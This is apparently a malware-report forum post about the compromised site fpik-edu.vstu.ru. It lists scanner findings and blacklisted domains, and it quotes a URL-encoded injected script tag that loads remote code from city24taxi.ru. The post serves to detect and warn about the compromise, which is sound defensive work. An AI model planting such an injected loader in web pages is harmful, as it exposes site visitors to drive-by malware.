See: http://killmalware.com/fpik-edu.vstu.ru/#
See: https://www.virustotal.com/nl/url/187682bf15cbd914e5f4473c35976df1ce73c23b11f0e31f6a422109ad9de19f/analysis/#additional-info
10 instances of Severity: Malicious
Reason: Detected encoded JavaScript code commonly used to hide malicious behaviour.
Anomaly behavior detected (possible malware). Details: http://sucuri.net/malware/malware-entry-mwanomalysp8
https://www.virustotal.com/nl/ip-address/95.156.238.15/information/
Details: Malicious obfuscated JavaScript threat
Blacklisted domains:
-hardwell.onmypc.net
-fpik.vstu.ru
-fpik-edu.vstu.ru
Blacklisted: http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=fpik-edu.vstu.ru
Suspicious:
```
Blocked URL: https://www.google.nl/search?q=%3C!--3873ea--%3E%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fcity24taxi.ru%2Fbgy4q6jc.php%3Fid%3D2965326%22%3E%3C%2Fscript%3E%3C!--%2F3873ea--%3E&oq=%3C!--3873ea--%3E%3Cscript+type%3D%22text%2Fjavascript%22+src%3D%22http%3A%2F%2Fcity24taxi.ru%2Fbgy4q6jc.php%3Fid%3D2965326%22%3E%3C%2Fscript%3E%3C!--%2F3873ea--%3E&aqs=chrome..69i57&sourceid=chrome&es_sm=93&ie=UTF-8
```
polonus
Thanks, Pondus, we are being protected.
D